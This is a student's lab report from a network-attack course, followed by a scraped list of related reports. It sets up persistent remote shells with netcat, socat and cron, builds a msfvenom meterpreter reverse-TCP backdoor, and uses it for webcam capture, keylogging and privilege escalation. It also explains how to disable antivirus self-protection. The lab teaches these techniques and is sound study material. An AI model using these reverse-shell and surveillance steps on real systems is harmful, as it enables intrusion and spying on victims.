20145236《网络对抗》Exp2 后门原理与实践
20145236《网络对抗》Exp2 后门原理与实践
目录:
一、基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 我们在安装常用应用软件时,安装过程中附带的可能就有后门程序。
- 例举你知道的后门如何启动起来(win及linux)的方式?
- windows:实验中做过的方式有直接双击开启后门程序、通过Windows->控制面板->管理工具启动任务计划程序、开机自启动的后门、和其他程序捆绑运行的后门程序
- linux:通过在cron中添加任务,定时执行、通过一些脚本启动后门程序、通过和其他程序捆绑运行后门程序。
- Meterpreter有哪些给你映像深刻的功能?
- 可以获取目标主机摄像头摄像头摄像头!!!这个功能好可怕……
- 可以提权,并且针对不同的系统,提权的方式有很多种,由于我在实验中尝试用getsystem提权失败之后上网查看了教程,愈发觉得meterpreter很强大很可怕。。其中找到一篇写了windows下各种提权方法的博客,我后来的提权操作也是从这里借鉴的:metasploit下Windows的多种提权方法
- 如何发现自己有系统有没有被安装后门?
- 低级一点的后门程序估计寻常的杀毒软件就可以查杀,比如我这次实验做的,一发送给win7主机就被360毙了。
- 至于隐藏的稍深一些的后门,例如与软件捆绑的后门,我查了一下方法,可以下载一些比较专业的监视软件,例如下载者监视器1.0、Regmon704.rar等进行检测。
- 还可以用抓包工具分析可疑软件是否有可疑操作,比如连接了一些乱七八糟的ip、在注册表项里操作了之类的。
二、常用后门工具实践
2.1 Windows获得Linux Shell
在Windows下,先使用
ipconfig指令查看本机IP:10.1.1.141

使用
ncat.exe程序监听本机的5236端口:

在Kali环境下,使用
nc指令的-e选项反向连接Windows主机的5236端口:

Windows下成功获得了一个Kali的shell,运行
ls指令如下:

2.2Linux获得Windows Shell
过程与之前的类似,在Kali环境下用
ifconfig查看IP192.168.85.129:

使用
nc指令监听5236端口:

在Windows下,使用ncat.exe程序的
-e选项项反向连接Kali主机的5236端口:

Kali下可以看到Windows的命令提示,可以输入Windows命令:

2.3使用nc传输数据
- Windows下监听
5236端口:

- Kali下连接到Windows的
5236端口:

- 建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:


2.4使用ncat实现文件传输
- 如图所示,先在windows中打开监听,然后在linux系统中发送文件:


- 传输的文件保存在了C:\Users\Administrator\ncat路径下,可以查看:

三、实验内容
3.1 使用netcat获取主机操作Shell,cron启动
先在Windows系统下,监听
5236端口:

在Kali环境下,使用
man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

用
crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:

在最后一行添加
05 * * * * /bin/netcat 10.1.1.141 5236 -e /bin/sh,意思是在每个小时的第5分钟反向连接Windows主机的5236端口,就会启动cron。设置成05的原因是我当时的时间是19点03,为了能立马看到效果,所以我将时间设置在了2分钟以后:

当时间到了19点05时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了05分时会立马显示出来):

3.2使用socat获取主机操作Shell, 任务计划启动
基础知识
socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实践过程
- 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:

- 下载安装socat软件,下载地址[https://gitee.com/wildlinux/NetSec/attach_files]
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5236 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5236,同时把cmd.exe的stderr重定向到stdout上:

- 创建完成之后,按
Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:

- 此时,在Kali环境下输入指令
socat - tcp:10.1.1.141:5236,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5236端口,此时可以发现已经成功获得了一个cmd shell:

3.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=5215 -f exe > 20145236.exe生成后门程序:

- 通过
nc指令将生成的后门程序传送到Windows主机上:(在做这一步之前先将本机的杀毒软件和防火墙关闭)


- 在Kali上使用
msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

- MSF打开监听进程
msfconsole:进入msfuse exploit/multi/handler:进入handler模式set payload windows/meterpreter/reverse_tcp:设置payloadshow options:查看当前信息状态set LHOST 192.168.18.128:设置LHOSTset LPORT 5236:设置LPORTexploit:MSF开始监听
- 设置完成后,执行监听:

- 打开Windows上的后门程序:

- 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

3.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用
record_mic指令可以截获一段音频:

- 使用
webcam_snap指令可以使用摄像头进行拍照:

- 使用
webcam stream指令可以使用摄像头进行录像 - 使用
screenshot指令可以进行截屏:

- 使用
keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

- 先使用
getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功

四、实验中遇到的问题及解决
问题1:

- 解决办法:
在虚拟机向主机发送“20145236_bckdoor.exe”时,文件没有完全发送,导致文件不完整,可以直接从虚拟机根目录中将文件复制到主机上。 问题2:

解决办法:
在msf终端输入命令:service postgresql start

- 问题3:主机的360杀毒软件无法关闭。
解决办法:打开360安全卫士>设置>安全防护中心>自我保护>关闭360自我保护。
五、实验总结{#五}
本次实验是自己的虚拟机攻击自己的主机,比较容易好实现,很想尝试一下自己虚拟机攻击别人的电脑看看能否成功。本次实验的主要步骤就在于MSF这部分,我们主要还要弄懂每一步的含义以及每条命令的使用,我比较想知道生成的这个后门程序是什么样的,为什么在主机上执行之后虚拟机就可以窥探到主机。同时我觉得我们应该加强自己电脑的安全属性,不随便安装网页上的软件,不随意打开来路不明的邮件等,虽然我们电脑可能轻而易举就能被攻击者攻破,哈哈哈。
20145236《网络对抗》Exp2 后门原理与实践的更多相关文章
- 20155323刘威良 网络对抗 Exp2 后门原理与实践
20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...
- 20155331 丹增旦达 网络攻防 Exp2后门原理与实践
20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20155302 Exp2 后门原理与实践
20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
随机推荐
- C#新功能--命名参数
命名参数会潜在的改变编写代码的方式.这个新功能能使代码更容易阅读和理解. 例如,看一下System.IO名称空间中的File.Copy()方法,它一般构建为 File.Copy(@"C:\m ...
- Spring Boot 1.5.* 升级 2.1 - 完善中
Spring Boot 原版本 1.5.12.RELEASE 新版本 2.1.0.RELEASE Spring Cloud 原版本 Edgware.SR3 新版本 Finchley.SR2 一.Act ...
- 关于在WP8.1中使用剪贴板的问题
熟悉WindowsPhone8.0和WindowsPhone8.1开发的朋友都应该很清楚,在windowphone8.0的 开发时代下,我们可以很轻松的使用系统提供的API进行简单的文本拷贝和复制.但 ...
- tab栏切换案例
<!DOCTYPE html><html><head lang="en"> <meta charset="UTF-8" ...
- 共用的h5回调页面
产生背景: APP里的公用页面,像帮助中心页.授权认证结果页.各种协议页面,都需要做成H5页面,方便安卓和ios去调用. 交互情况描述: 要是有动态值,就需要定义在自己H5链接的后面,让他们传值,自己 ...
- 机器学习是万能的吗?AI落地有哪些先决条件?
机器学习是万能的吗?AI落地有哪些先决条件? https://mp.weixin.qq.com/s/9rNY2YA3BMpoY8NQ_rVIjQ 1.引言 入门机器学习或从事其相关工作前,不知道你思考 ...
- SQLite保存报错sqlite.SQLiteConstraintException: UNIQUE constraint failed: ······ code 1555
往数据库里保存数据的时候报错,用的afinal框架,明明在save操作之前执行了一遍deleteAll操作,还是报错. 百度了一下说报这种错有两种情况:一是定义的字段为not null ,插入时对应的 ...
- char/varchar/nvarchar的区别
原文:https://blog.csdn.net/w516162189/article/details/78914035 我们在设计数据库的时候,需要根据需求场景选择合适的字段类型,对数据的执行效率有 ...
- Django之model模块创建表完整过程
Django中,与数据库相关的模块是model模块,它提供了一种简单易操作的API方式与数据库交互,它是通过ORM映射的方式来操作数据库,一个类对应数据库一张表,一个类属性,对应该表的一个字段,一个实 ...
- Json Schema的使用
直接上案例: 在Web Api通讯中,客户端发送json数据,服务端反序列化json(json与某个类形成对应关系),在某些情况下,需要校验其上传的json是否合法. 服务端是使用Json.net(n ...